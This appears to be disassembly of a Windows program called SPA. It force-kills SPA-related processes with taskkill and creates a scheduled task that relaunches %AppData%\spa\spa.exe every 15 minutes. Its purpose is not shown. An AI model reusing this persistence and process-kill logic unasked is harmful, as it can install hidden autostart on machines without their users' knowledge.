push 0x4192c0
push 0x36ee80
push 0
push 0
call esi
push 0x4193b0
push 0x3a98
push 0
push 0
call esi
xor eax, eax
mov dword [ebp - 0x58], 0x44
mov word [ebp - 0x16], ax
xorps xmm0, xmm0
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x914]
push eax
lea eax, [ebp - 0x58]
movlpd qword [ebp - 0x30], xmm0
or dword [ebp - 0x2c], 1
push eax
push 0
push 0
push 0x200
push 1
push 0
push 0
push str.taskkill__F__FI__USERNAME_eq__username____IM_work.exe
push 0
movlpd qword [ebp - 0x54], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x26], xmm0
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x4c], str.taskkill
movups xmmword [ebp - 0x914], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x438997
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xffffffffffffffff
push dword [ebp - 0x914]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, str.taskkill
cmp eax, 0x518960
jne 0x4389c4
mov eax, dword [0x533960]
movups xmm0, xmmword [ebp - 0x914]
movups xmmword [eax + 0x284], xmm0
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [ebp - 0xb4]
push 0x50
push eax
push 0x59
push 0x400
call esi
push 0x50
lea eax, [ebp - 0x104]
push eax
push 0x5a
push 0x400
call esi
xor ecx, ecx
mov al, byte [ebp + ecx - 0xb4]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x65], al
test al, al
jne 0x4389f0
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x438a06
mov ax, word [0x512bd0]
lea edx, [ebp - 0x104]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x438a21
lea edi, [ebp - 0x64]
sub edx, esi
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x438a30
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x64]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x533960]
lea esi, [edx + 1]
lea ecx, [ecx + 0x594]
mov al, byte [edx]
inc edx
test al, al
jne 0x438a58
sub edx, esi
lea eax, [ebp - 0x64]
push edx
push eax
call fcn.00408530
call fcn.00437090
mov eax, dword [0x52ca54]
push 0x531510
push 0
push 0
push 0x407010
push 0
push 0
mov dword [0x533154], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x531508], eax
test eax, eax
jne 0x438abd
mov eax, dword [0x533960]
add eax, 0xb4
cmp dword [eax + 0x14], 0x10
jb 0x438aad
mov eax, dword [eax]
push 0
push eax
push 0x512c74
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x91c]
mov eax, dword [0x533960]
add eax, 0x4a0
push eax
call fcn.00407ac0
push str.update.exe
lea ecx, [ebp - 0x91c]
mov byte [ebp - 4], 0x12
call fcn.004078c0
cmp dword [ebp - 0x908], 0x10
lea eax, [ebp - 0x91c]
cmovae eax, dword [ebp - 0x91c]
push eax
call fcn.004d88ce
add esp, 4
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x908]
test eax, eax
je 0x438e00
cmp edx, 0x10
jb 0x438b4e
mov ecx, dword [ebp - 0x91c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x438b44
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43928b
push edx
push ecx
call fcn.004748b1
add esp, 8
mov dword [ebp - 4], 9
mov esi, 0x512695
mov dword [0x52ca9c], 0xa
call fcn.00436e60
xor eax, eax
mov dword [ebp - 0x93c], 0
mov dword [ebp - 0x938], 7
mov word [ebp - 0x94c], ax
push 0x80000041
mov byte [ebp - 4], 0x14
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
call fcn.00436c40
push 0x11
push str.schtasks__create
lea ecx, [ebp - 0x934]
mov dword [ebp - 0x924], 0
mov dword [ebp - 0x920], 0xf
mov byte [ebp - 0x934], 0
call fcn.00408530
push str._sc_minute__mo_15__tn__SPA_Auto
lea ecx, [ebp - 0x934]
mov byte [ebp - 4], 0x15
call fcn.004078c0
push str.USERNAME
call fcn.004d5e34
add esp, 4
lea ecx, [ebp - 0x934]
push eax
call fcn.004078c0
push 0x518fa0
lea ecx, [ebp - 0x934]
call fcn.004078c0
push str._tr___AppData__spa_spa.exe___f
lea ecx, [ebp - 0x934]
call fcn.004078c0
cmp dword [ebp - 0x920], 0x10
lea eax, [ebp - 0x934]
xorps xmm0, xmm0
mov dword [ebp - 0x58], 0x44
cmovae eax, dword [ebp - 0x934]
xor ecx, ecx
mov word [ebp - 0x16], cx
mov word [ebp - 0x28], cx
lea ecx, [ebp - 0x914]
push ecx
lea ecx, [ebp - 0x58]
movlpd qword [ebp - 0x30], xmm0
or dword [ebp - 0x2c], 1
push ecx
push 0
push 0
push 0x200
push 1
push 0
push 0
push eax
push 0
movlpd qword [ebp - 0x54], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x26], xmm0
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x4c], str.schtasks
movups xmmword [ebp - 0x914], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x438c9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, str.WAIT
jne 0x438cb4
push 0xffffffffffffffff
push dword [ebp - 0x914]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, str.schtasks
cmp eax, 0x518960
jne 0x438cd3
mov eax, dword [0x533960]
movups xmm0, xmmword [ebp - 0x914]
movups xmmword [eax + 0x284], xmm0
sub esp, 0x18
mov ecx, esp
push 5
push 0x518230
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00408530
call fcn.00430bc0
add esp, 0x18
lea eax, [ebp - 0xa3c]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x438f6b
mov edi, dword [sym.imp.USER32.dll_DialogBoxParamA]
nop
mov esi, dword [0x533960]
cmp byte [esi + 0x3e8], 0
je 0x438db0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x9e8], esp
push 0x12
push str.OPEN_SPA_CONFIG...
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00408530
sub esp, 0x18
mov byte [ebp - 4], 0x16
mov ecx, esp
push 3
push 0x51a570
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00408530
mov byte [ebp - 4], 0x15
call fcn.004109f0
add esp, 0x30
push 0
push 0x423b80
push 0
push 0x94
push dword [0x531530]
call edi
mov esi, dword [0x533960]
mov byte [esi + 0x3e8], 0
cmp byte [esi + 0x4c3], 0
je 0x438dd6
cmp dword [esi + 0xdc], 0
jne 0x438dd6
cmp dword [esi + 0xf4], 0
jne 0x438dd6
call fcn.0042e490
mov esi, dword [0x533960]
cmp byte [esi + 0x3e9], 0
je 0x438ed5
cmp dword [esi + 0x2c], 0x10
lea ecx, [esi + 0x18]
jb 0x438def
mov ecx, dword [esi + 0x18]
cmp dword [esi + 0x28], 1
jne 0x438e58
movzx eax, byte [ecx]
cmp al, 0x53
jne 0x438e3d
xor eax, eax
jmp 0x438e42
cmp edx, 0x10
jb 0x438b4e
mov ecx, dword [ebp - 0x91c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x438b44
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43928b
jmp 0x438b44
sbb eax, eax
or eax, 1
test eax, eax
jne 0x438e58
push 0xc
lea ecx, [esi + 0x3d0]
push str.SHOWSPADEBUG
call fcn.00408530
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x9e8], esp
push 0x11
push str.OPEN_SPA_DEBUG...
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00408530
sub esp, 0x18
mov byte [ebp - 4], 0x17
mov ecx, esp
push 3
push 0x51a570
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00408530
mov byte [ebp - 4], 0x15
call fcn.004109f0
add esp, 0x30
push 0
push 0x420cc0
push 0
push 0x8d
push dword [0x531530]
call edi
mov esi, dword [0x533960]
mov byte [esi + 0x3e9], 0
cmp byte [esi + 0x4c4], 0
je 0x438f36
cmp dword [esi + 0x60], 0
jle 0x439295
lea ecx, [esi + 0xcc]
mov edx, 0x512695
call fcn.00409510
test al, al
jne 0x439295
lea ecx, [esi + 0xe4]
mov edx, 0x512695
call fcn.00409510
test al, al
jne 0x439295
lea ecx, [esi + 0x114]
mov edx, 0x512695
call fcn.00409510
test al, al
jne 0x439295
mov byte [esi + 0x4c4], al
lea eax, [ebp - 0xa3c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0xa3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0xa3c]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x438d20
push 0
push 0
push 0x12
push dword [0x531510]
call dword [sym.imp.USER32.dll_PostThreadMessageA]
test eax, eax
je 0x438f92
push 0x3e8
push dword [0x531508]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x53239c]
mov edx, 2
push 3
call fcn.00435720
mov eax, dword [0x533150]
add esp, 4
test eax, eax
je 0x438fb7
push eax
call dword [sym.imp.USER32.dll_DdeUninitialize]
mov edx, dword [ebp - 0x920]
mov esi, dword [ebp - 0xa34]
cmp edx, 0x10
jb 0x438ff7
mov ecx, dword [ebp - 0x934]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x438fed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439290
push edx
push ecx
call fcn.004748b1
add esp, 8
mov edx, dword [ebp - 0x968]
mov dword [ebp - 0x924], 0
mov dword [ebp - 0x920], 0xf
mov byte [ebp - 0x934], 0
cmp edx, 0x10
jb 0x43904c
mov ecx, dword [ebp - 0x97c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x439042
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439290
push edx
push ecx
call fcn.004748b1
add esp, 8
mov edx, dword [ebp - 0x9b0]
mov dword [ebp - 0x96c], 0
mov dword [ebp - 0x968], 0xf
mov byte [ebp - 0x97c], 0
cmp edx, 0x10
jb 0x4390a1
mov ecx, dword [ebp - 0x9c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x439097
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439290
push edx
push ecx
call fcn.004748b1
add esp, 8
mov edx, dword [ebp - 0x950]
mov dword [ebp - 0x9b4], 0
mov dword [ebp - 0x9b0], 0xf
mov byte [ebp - 0x9c4], 0
cmp edx, 0x10
jb 0x4390f6
mov ecx, dword [ebp - 0x964]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4390ec
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439290
push edx
push ecx
call fcn.004748b1
add esp, 8
mov edx, dword [ebp - 0x980]
mov dword [ebp - 0x954], 0
mov dword [ebp - 0x950], 0xf
mov byte [ebp - 0x964], 0
cmp edx, 0x10
jb 0x43914b
mov ecx, dword [ebp - 0x994]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x439141
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439290
push edx
push ecx
call fcn.004748b1
add esp, 8
mov edx, dword [ebp - 0x998]
mov dword [ebp - 0x984], 0
mov dword [ebp - 0x980], 0xf
mov byte [ebp - 0x994], 0
cmp edx, 0x10
jb 0x4391a0
mov ecx, dword [ebp - 0x9ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x439196
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439290
push edx
push ecx
call fcn.004748b1
add esp, 8
mov edx, dword [ebp - 0x9c8]
mov dword [ebp - 0x99c], 0
mov dword [ebp - 0x998], 0xf
mov byte [ebp - 0x9ac], 0
cmp edx, 0x10
jb 0x4391f5
mov ecx, dword [ebp - 0x9dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4391eb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439290
push edx
push ecx
call fcn.004748b1
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00474416
mov esp, ebp
pop ebp
ret 0x10
call fcn.004d274f
call fcn.004373f0
push str.WAIT
mov edx, str.taskkill__F__FI__USERNAME_eq__username____IM_xspa.exe__IM_work.exe
mov ecx, str.taskkill
call fcn.0042a390
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0xbb8
call esi
push str.WAIT
mov edx, str.taskkill__F__FI__USERNAME_eq__username____IM_xspa.exe__IM_spa.exe__IM_work.exe
mov ecx, str.taskkill
call fcn.0042a390
add esp, 4
push 0x7d0
call esi
mov ecx, str.Remo
call fcn.0040cce0
push 0
call fcn.004cc079
call fcn.004cc079
call fcn.004d274f
call fcn.004d274f
call fcn.004d274f
call fcn.004d274f
call fcn.004d274f
call fcn.004d274f
call fcn.0042e0b0
push 0
call fcn.004cc079
int3